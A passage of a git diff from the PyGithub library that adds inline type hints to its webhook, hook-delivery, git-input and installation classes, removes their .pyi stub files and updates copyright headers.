Attribute[list[AdvisoryVulnerability]] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"ghsa_id": self.ghsa_id, "summary": self.summary}) + + @property + def credits( + self, + ) -> list[AdvisoryCreditDetailed]: + return self._credits.value + + @property + def github_reviewed_at(self) -> datetime: + return self._github_reviewed_at.value + + @property + def nvd_published_at(self) -> datetime: + return self._nvd_published_at.value + + @property + def references(self) -> list[str]: + return self._references.value + + @property + def repository_advisory_url(self) -> str: + return self._repository_advisory_url.value + + @property + def source_code_location(self) -> str: + return self._source_code_location.value + + @property + def type(self) -> str: + return self._type.value + + @property + def vulnerabilities(self) -> list[AdvisoryVulnerability]: + return self._vulnerabilities.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "credits" in attributes: # pragma no branch + self._credits = self._makeListOfClassesAttribute( + AdvisoryCreditDetailed, + attributes["credits"], + ) + if "github_reviewed_at" in attributes: # pragma no branch + assert attributes["github_reviewed_at"] is None or isinstance( + attributes["github_reviewed_at"], str + ), attributes["github_reviewed_at"] + self._github_reviewed_at = self._makeDatetimeAttribute(attributes["github_reviewed_at"]) + if "nvd_published_at" in attributes: # pragma no branch + assert attributes["nvd_published_at"] is None or isinstance( + attributes["nvd_published_at"], str + ), attributes["nvd_published_at"] + self._nvd_published_at = self._makeDatetimeAttribute(attributes["nvd_published_at"]) + if "references" in attributes: # pragma no branch + self._references = self._makeListOfStringsAttribute(attributes["references"]) + if "repository_advisory_url" in attributes: # pragma no branch + self._repository_advisory_url = self._makeStringAttribute(attributes["repository_advisory_url"]) + if "source_code_location" in attributes: # pragma no branch + self._source_code_location = self._makeStringAttribute(attributes["source_code_location"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + if "vulnerabilities" in attributes: + self._vulnerabilities = self._makeListOfClassesAttribute( + AdvisoryVulnerability, + attributes["vulnerabilities"], + ) + super()._useAttributes(attributes) diff --git a/github/Hook.py b/github/Hook.py index 9c4a2de96b..3ac66ab7c6 100644 --- a/github/Hook.py +++ b/github/Hook.py @@ -10,6 +10,14 @@ # Copyright 2017 Wan Liuyang # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,189 +37,143 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.HookResponse +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional, is_optional_list -class Hook(github.GithubObject.CompletableGithubObject): +class Hook(CompletableGithubObject): """ This class represents Hooks. The reference can be found here https://docs.github.com/en/rest/reference/repos#webhooks """ - def __repr__(self): + def _initAttributes(self) -> None: + self._active: Attribute[bool] = NotSet + self._config: Attribute[dict] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._events: Attribute[list[str]] = NotSet + self._id: Attribute[int] = NotSet + self._last_response: Attribute[github.HookResponse.HookResponse] = NotSet + self._name: Attribute[str] = NotSet + self._test_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._ping_url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property - def active(self): - """ - :type: bool - """ + def active(self) -> bool: self._completeIfNotSet(self._active) return self._active.value @property - def config(self): - """ - :type: dict - """ + def config(self) -> dict: self._completeIfNotSet(self._config) return self._config.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def events(self): - """ - :type: list of string - """ + def events(self) -> list[str]: self._completeIfNotSet(self._events) return self._events.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def last_response(self): - """ - :type: :class:`github.HookResponse.HookResponse` - """ + def last_response(self) -> github.HookResponse.HookResponse: self._completeIfNotSet(self._last_response) return self._last_response.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def test_url(self): - """ - :type: string - """ + def test_url(self) -> str: self._completeIfNotSet(self._test_url) return self._test_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def ping_url(self): - """ - :type: string - """ + def ping_url(self) -> str: self._completeIfNotSet(self._ping_url) return self._ping_url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/hooks/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, - name, - config, - events=github.GithubObject.NotSet, - add_events=github.GithubObject.NotSet, - remove_events=github.GithubObject.NotSet, - active=github.GithubObject.NotSet, - ): + name: str, + config: dict, + events: Opt[list[str]] = NotSet, + add_events: Opt[list[str]] = NotSet, + remove_events: Opt[list[str]] = NotSet, + active: Opt[bool] = NotSet, + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/hooks/{id} `_ - :param name: string - :param config: dict - :param events: list of string - :param add_events: list of string - :param remove_events: list of string - :param active: bool - :rtype: None """ assert isinstance(name, str), name assert isinstance(config, dict), config - assert events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in events - ), events - assert add_events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in add_events - ), add_events - assert remove_events is github.GithubObject.NotSet or all( - isinstance(element, str) for element in remove_events - ), remove_events - assert active is github.GithubObject.NotSet or isinstance(active, bool), active - post_parameters = { - "name": name, - "config": config, - } - if events is not github.GithubObject.NotSet: - post_parameters["events"] = events - if add_events is not github.GithubObject.NotSet: - post_parameters["add_events"] = add_events - if remove_events is not github.GithubObject.NotSet: - post_parameters["remove_events"] = remove_events - if active is not github.GithubObject.NotSet: - post_parameters["active"] = active - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + assert is_optional_list(events, str), events + assert is_optional_list(add_events, str), add_events + assert is_optional_list(remove_events, str), remove_events + assert is_optional(active, bool), active + post_parameters = NotSet.remove_unset_items( + { + "name": name, + "config": config, + "events": events, + "add_events": add_events, + "remove_events": remove_events, + "active": active, + } ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def test(self): + def test(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/hooks/{id}/tests `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/tests") - def ping(self): + def ping(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/hooks/{id}/pings `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/pings") - def _initAttributes(self): - self._active = github.GithubObject.NotSet - self._config = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._events = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._last_response = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._test_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._ping_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "active" in attributes: # pragma no branch self._active = self._makeBoolAttribute(attributes["active"]) if "config" in attributes: # pragma no branch diff --git a/github/Hook.pyi b/github/Hook.pyi deleted file mode 100644 index 189fb472f3..0000000000 --- a/github/Hook.pyi +++ /dev/null @@ -1,44 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.HookResponse import HookResponse - -class Hook(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def active(self) -> bool: ... - @property - def config(self) -> Dict[str, str]: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - def edit( - self, - name: str, - config: Dict[str, str], - events: Union[_NotSetType, List[str]] = ..., - add_events: Union[_NotSetType, List[str]] = ..., - remove_events: Union[_NotSetType, List[str]] = ..., - active: Union[bool, _NotSetType] = ..., - ) -> None: ... - @property - def events(self) -> List[str]: ... - @property - def id(self) -> int: ... - @property - def last_response(self) -> HookResponse: ... - @property - def name(self) -> str: ... - def ping(self) -> None: ... - @property - def ping_url(self) -> str: ... - def test(self) -> None: ... - @property - def test_url(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/HookDelivery.py b/github/HookDelivery.py new file mode 100644 index 0000000000..3057006096 --- /dev/null +++ b/github/HookDelivery.py @@ -0,0 +1,211 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime +from typing import Any, Dict, Optional + +import github.GithubObject +from github.GithubObject import Attribute, NotSet + + +class HookDeliverySummary(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a Summary of HookDeliveries + """ + + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._guid: Attribute[str] = NotSet + self._delivered_at: Attribute[datetime] = NotSet + self._redelivery: Attribute[bool] = NotSet + self._duration: Attribute[float] = NotSet + self._status: Attribute[str] = NotSet + self._status_code: Attribute[int] = NotSet + self._event: Attribute[str] = NotSet + self._action: Attribute[str] = NotSet + self._installation_id: Attribute[int] = NotSet + self._repository_id: Attribute[int] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"id": self._id.value}) + + @property + def id(self) -> Optional[int]: + return self._id.value + + @property + def guid(self) -> Optional[str]: + return self._guid.value + + @property + def delivered_at(self) -> Optional[datetime]: + return self._delivered_at.value + + @property + def redelivery(self) -> Optional[bool]: + return self._redelivery.value + + @property + def duration(self) -> Optional[float]: + return self._duration.value + + @property + def status(self) -> Optional[str]: + return self._status.value + + @property + def status_code(self) -> Optional[int]: + return self._status_code.value + + @property + def event(self) -> Optional[str]: + return self._event.value + + @property + def action(self) -> Optional[str]: + return self._action.value + + @property + def installation_id(self) -> Optional[int]: + return self._installation_id.value + + @property + def repository_id(self) -> Optional[int]: + return self._repository_id.value + + @property + def url(self) -> Optional[str]: + return self._url.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "id" in attributes: # pragma no branch + self._id = self._makeIntAttribute(attributes["id"]) + if "guid" in attributes: # pragma no branch + self._guid = self._makeStringAttribute(attributes["guid"]) + if "delivered_at" in attributes: # pragma no branch + self._delivered_at = self._makeDatetimeAttribute(attributes["delivered_at"]) + if "redelivery" in attributes: # pragma no branch + self._redelivery = self._makeBoolAttribute(attributes["redelivery"]) + if "duration" in attributes: # pragma no branch + self._duration = self._makeFloatAttribute(attributes["duration"]) + if "status" in attributes: # pragma no branch + self._status = self._makeStringAttribute(attributes["status"]) + if "status_code" in attributes: # pragma no branch + self._status_code = self._makeIntAttribute(attributes["status_code"]) + if "event" in attributes: # pragma no branch + self._event = self._makeStringAttribute(attributes["event"]) + if "action" in attributes: # pragma no branch + self._action = self._makeStringAttribute(attributes["action"]) + if "installation_id" in attributes: # pragma no branch + self._installation_id = self._makeIntAttribute(attributes["installation_id"]) + if "repository_id" in attributes: # pragma no branch + self._repository_id = self._makeIntAttribute(attributes["repository_id"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) + + +class HookDeliveryRequest(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a HookDeliveryRequest + """ + + def _initAttributes(self) -> None: + self._request_headers: Attribute[Dict] = NotSet + self._payload: Attribute[Dict] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"payload": self._payload.value}) + + @property + def headers(self) -> Optional[dict]: + return self._request_headers.value + + @property + def payload(self) -> Optional[dict]: + return self._payload.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "headers" in attributes: # pragma no branch + self._request_headers = self._makeDictAttribute(attributes["headers"]) + if "payload" in attributes: # pragma no branch + self._payload = self._makeDictAttribute(attributes["payload"]) + + +class HookDeliveryResponse(github.GithubObject.NonCompletableGithubObject): + """ + This class represents a HookDeliveryResponse + """ + + def __repr__(self) -> str: + return self.get__repr__({"payload": self._payload.value}) + + @property + def headers(self) -> Optional[dict]: + return self._response_headers.value + + @property + def payload(self) -> Optional[str]: + return self._payload.value + + def _initAttributes(self) -> None: + self._response_headers: Attribute[Dict] = NotSet + self._payload: Attribute[str] = NotSet + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "headers" in attributes: # pragma no branch + self._response_headers = self._makeDictAttribute(attributes["headers"]) + if "payload" in attributes: # pragma no branch + self._payload = self._makeStringAttribute(attributes["payload"]) + + +class HookDelivery(HookDeliverySummary): + """ + This class represents a HookDelivery + """ + + def _initAttributes(self) -> None: + super()._initAttributes() + self._request: Attribute[HookDeliveryRequest] = NotSet + self._response: Attribute[HookDeliveryResponse] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"id": self._id.value}) + + @property + def request(self) -> Optional[HookDeliveryRequest]: + return self._request.value + + @property + def response(self) -> Optional[HookDeliveryResponse]: + return self._response.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + super()._useAttributes(attributes) + if "request" in attributes: # pragma no branch + self._request = self._makeClassAttribute(HookDeliveryRequest, attributes["request"]) + if "response" in attributes: # pragma no branch + self._response = self._makeClassAttribute(HookDeliveryResponse, attributes["response"]) + # self._response = self._makeDictAttribute(attributes["response"]) diff --git a/github/HookDescription.py b/github/HookDescription.py index 44ec8af423..a06e4a83d6 100644 --- a/github/HookDescription.py +++ b/github/HookDescription.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,52 +34,44 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import Any -class HookDescription(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class HookDescription(NonCompletableGithubObject): """ This class represents HookDescriptions """ - def __repr__(self): + def _initAttributes(self) -> None: + self._events: Attribute[list[str]] = NotSet + self._name: Attribute[str] = NotSet + self._schema: Attribute[list[list[str]]] = NotSet + self._supported_events: Attribute[list[str]] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def events(self): - """ - :type: list of string - """ + def events(self) -> list[str]: return self._events.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def schema(self): - """ - :type: list of list of string - """ + def schema(self) -> list[list[str]]: return self._schema.value @property - def supported_events(self): - """ - :type: list of string - """ + def supported_events(self) -> list[str]: return self._supported_events.value - def _initAttributes(self): - self._events = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._schema = github.GithubObject.NotSet - self._supported_events = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "events" in attributes: # pragma no branch self._events = self._makeListOfStringsAttribute(attributes["events"]) if "name" in attributes: # pragma no branch @@ -81,6 +79,4 @@ def _useAttributes(self, attributes): if "schema" in attributes: # pragma no branch self._schema = self._makeListOfListOfStringsAttribute(attributes["schema"]) if "supported_events" in attributes: # pragma no branch - self._supported_events = self._makeListOfStringsAttribute( - attributes["supported_events"] - ) + self._supported_events = self._makeListOfStringsAttribute(attributes["supported_events"]) diff --git a/github/HookDescription.pyi b/github/HookDescription.pyi deleted file mode 100644 index 4cd559f075..0000000000 --- a/github/HookDescription.pyi +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Any, Dict, List - -from github.GithubObject import NonCompletableGithubObject - -class HookDescription(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def events(self) -> List[str]: ... - @property - def name(self) -> str: ... - @property - def schema(self) -> List[List[str]]: ... - @property - def supported_events(self) -> List[str]: ... diff --git a/github/HookResponse.py b/github/HookResponse.py index a491ef30bf..a8a84bf14d 100644 --- a/github/HookResponse.py +++ b/github/HookResponse.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,44 +33,37 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class HookResponse(github.GithubObject.NonCompletableGithubObject): + +class HookResponse(NonCompletableGithubObject): """ This class represents HookResponses """ - def __repr__(self): + def _initAttributes(self) -> None: + self._code: Attribute[int] = NotSet + self._message: Attribute[str] = NotSet + self._status: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property - def code(self): - """ - :type: integer - """ + def code(self) -> int: return self._code.value @property - def message(self): - """ - :type: string - """ + def message(self) -> str: return self._message.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: return self._status.value - def _initAttributes(self): - self._code = github.GithubObject.NotSet - self._message = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "code" in attributes: # pragma no branch self._code = self._makeIntAttribute(attributes["code"]) if "message" in attributes: # pragma no branch diff --git a/github/HookResponse.pyi b/github/HookResponse.pyi deleted file mode 100644 index fe04da17dd..0000000000 --- a/github/HookResponse.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class HookResponse(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def code(self) -> int: ... - @property - def message(self) -> str: ... - @property - def status(self) -> str: ... diff --git a/github/InputFileContent.py b/github/InputFileContent.py index 3289d18716..73b9a7fc83 100644 --- a/github/InputFileContent.py +++ b/github/InputFileContent.py @@ -7,6 +7,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +31,12 @@ # # ################################################################################ -import github.GithubObject + +from __future__ import annotations + +from typing import Any + +from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputFileContent: @@ -34,24 +44,17 @@ class InputFileContent: This class represents InputFileContents """ - def __init__(self, content, new_name=github.GithubObject.NotSet): - """ - :param content: string - :param new_name: string - """ - + def __init__(self, content: str, new_name: Opt[str] = NotSet): assert isinstance(content, str), content - assert new_name is github.GithubObject.NotSet or isinstance( - new_name, str - ), new_name - self.__newName = new_name - self.__content = content + assert is_optional(new_name, str), new_name + self.__newName: Opt[str] = new_name + self.__content: str = content @property - def _identity(self): - identity = { + def _identity(self) -> dict[str, str]: + identity: dict[str, Any] = { "content": self.__content, } - if self.__newName is not github.GithubObject.NotSet: + if is_defined(self.__newName): identity["filename"] = self.__newName return identity diff --git a/github/InputFileContent.pyi b/github/InputFileContent.pyi deleted file mode 100644 index 8a71faff6b..0000000000 --- a/github/InputFileContent.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Dict, Union - -from github.GithubObject import _NotSetType - -class InputFileContent: - def __init__( - self, content: str, new_name: Union[str, _NotSetType] = ... - ) -> None: ... - @property - def _identity(self) -> Dict[str, str]: ... diff --git a/github/InputGitAuthor.py b/github/InputGitAuthor.py index b53fd46d9d..369c480073 100644 --- a/github/InputGitAuthor.py +++ b/github/InputGitAuthor.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,7 +33,11 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import Any + +from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputGitAuthor: @@ -36,32 +45,24 @@ class InputGitAuthor: This class represents InputGitAuthors """ - def __init__(self, name, email, date=github.GithubObject.NotSet): - """ - :param name: string - :param email: string - :param date: string - """ - + def __init__(self, name: str, email: str, date: Opt[str] = NotSet): assert isinstance(name, str), name assert isinstance(email, str), email - assert date is github.GithubObject.NotSet or isinstance( - date, str - ), date # @todo Datetime? + assert is_optional(date, str), date # @todo Datetime? - self.__name = name - self.__email = email - self.__date = date + self.__name: str = name + self.__email: str = email + self.__date: Opt[str] = date - def __repr__(self): + def __repr__(self) -> str: return f'InputGitAuthor(name="{self.__name}")' @property - def _identity(self): - identity = { + def _identity(self) -> dict[str, str]: + identity: dict[str, Any] = { "name": self.__name, "email": self.__email, } - if self.__date is not github.GithubObject.NotSet: + if is_defined(self.__date): identity["date"] = self.__date return identity diff --git a/github/InputGitAuthor.pyi b/github/InputGitAuthor.pyi deleted file mode 100644 index ab812fa00f..0000000000 --- a/github/InputGitAuthor.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Dict, Union - -from github.GithubObject import _NotSetType - -class InputGitAuthor: - def __init__( - self, name: str, email: str, date: Union[str, _NotSetType] = ... - ) -> None: ... - @property - def _identity(self) -> Dict[str, str]: ... diff --git a/github/InputGitTreeElement.py b/github/InputGitTreeElement.py index 909250c56c..ee025e6b13 100644 --- a/github/InputGitTreeElement.py +++ b/github/InputGitTreeElement.py @@ -7,6 +7,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +31,11 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import Any + +from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputGitTreeElement: @@ -36,44 +45,32 @@ class InputGitTreeElement: def __init__( self, - path, - mode, - type, - content=github.GithubObject.NotSet, - sha=github.GithubObject.NotSet, + path: str, + mode: str, + type: str, + content: Opt[str] = NotSet, + sha: Opt[str | None] = NotSet, ): - """ - :param path: string - :param mode: string - :param type: string - :param content: string - :param sha: string or None - """ - assert isinstance(path, str), path assert isinstance(mode, str), mode assert isinstance(type, str), type - assert content is github.GithubObject.NotSet or isinstance( - content, str - ), content - assert ( - sha is github.GithubObject.NotSet or sha is None or isinstance(sha, str) - ), sha + assert is_optional(content, str), content + assert sha is None or is_optional(sha, str), sha self.__path = path self.__mode = mode self.__type = type self.__content = content - self.__sha = sha + self.__sha: Opt[str] | None = sha @property - def _identity(self): - identity = { + def _identity(self) -> dict[str, Any]: + identity: dict[str, Any] = { "path": self.__path, "mode": self.__mode, "type": self.__type, } - if self.__sha is not github.GithubObject.NotSet: + if is_defined(self.__sha): identity["sha"] = self.__sha - if self.__content is not github.GithubObject.NotSet: + if is_defined(self.__content): identity["content"] = self.__content return identity diff --git a/github/InputGitTreeElement.pyi b/github/InputGitTreeElement.pyi deleted file mode 100644 index ad621e23f1..0000000000 --- a/github/InputGitTreeElement.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Dict, Union - -from github.GithubObject import _NotSetType - -class InputGitTreeElement: - def __init__( - self, - path: str, - mode: str, - type: str, - content: Union[str, _NotSetType] = ..., - sha: Union[str, _NotSetType, None] = ..., - ) -> None: ... - @property - def _identity(self) -> Dict[str, str]: ... diff --git a/github/Installation.py b/github/Installation.py index 618219e386..41a1b53142 100644 --- a/github/Installation.py +++ b/github/Installation.py @@ -1,10 +1,24 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # # Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,6 +38,10 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.Authorization import github.Event import github.Gist @@ -35,56 +53,74 @@ import github.Plan import github.Repository import github.UserKey +from github import Consts +from github.Auth import AppAuth +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList +from github.Requester import Requester -from . import Consts +if TYPE_CHECKING: + from github.MainClass import Github INTEGRATION_PREVIEW_HEADERS = {"Accept": Consts.mediaTypeIntegrationPreview} -class Installation(github.GithubObject.NonCompletableGithubObject): +class Installation(NonCompletableGithubObject): """ This class represents Installations. The reference can be found here https://docs.github.com/en/rest/reference/apps#installations """ - def __repr__(self): + def __init__( + self, + requester: Requester, + headers: dict[str, str | int], + attributes: Any, + completed: bool, + ) -> None: + super().__init__(requester, headers, attributes, completed) + + auth = self._requester.auth if self._requester is not None else None + # Usually, an Installation is created from a Requester with App authentication + if isinstance(auth, AppAuth): + # But the installation has to authenticate as an installation (e.g. for get_repos()) + auth = auth.get_installation_auth(self.id, requester=self._requester) + self._requester = self._requester.withAuth(auth) + + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._app_id: Attribute[int] = NotSet + self._target_id: Attribute[int] = NotSet + self._target_type: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) + def get_github_for_installation(self) -> Github: + return github.Github(**self._requester.kwargs) + @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def app_id(self): - """ - :type: integer - """ + def app_id(self) -> int: return self._app_id.value @property - def target_id(self): - """ - :type: integer - """ + def target_id(self) -> int: return self._target_id.value @property - def target_type(self): - """ - :type: string - """ + def target_type(self) -> str: return self._target_type.value - def get_repos(self): + def get_repos(self) -> PaginatedList[github.Repository.Repository]: """ :calls: `GET /installation/repositories `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ - url_parameters = dict() + url_parameters: dict[str, Any] = {} - return github.PaginatedList.PaginatedList( + return PaginatedList( contentClass=github.Repository.Repository, requester=self._requester, firstUrl="/installation/repositories", @@ -93,13 +129,7 @@ def get_repos(self): list_item="repositories", ) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._app_id = github.GithubObject.NotSet - self._target_id = github.GithubObject.NotSet - self._target_type = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "app_id" in attributes: # pragma no branch diff --git a/github/Installation.pyi b/github/Installation.pyi deleted file mode 100644 index c0026a2889..0000000000 --- a/github/Installation.pyi +++ /dev/null @@ -1,12 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.PaginatedList import PaginatedList -from github.Repository import Repository - -class Installation(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> int: ... - def get_repos(self) -> PaginatedList[Repository]: ... diff --git a/github/InstallationAuthorization.py b/github/InstallationAuthorization.py index 036a3eef4d..86c811ecbd 100644 --- a/github/InstallationAuthorization.py +++ b/github/InstallationAuthorization.py @@ -1,9 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent 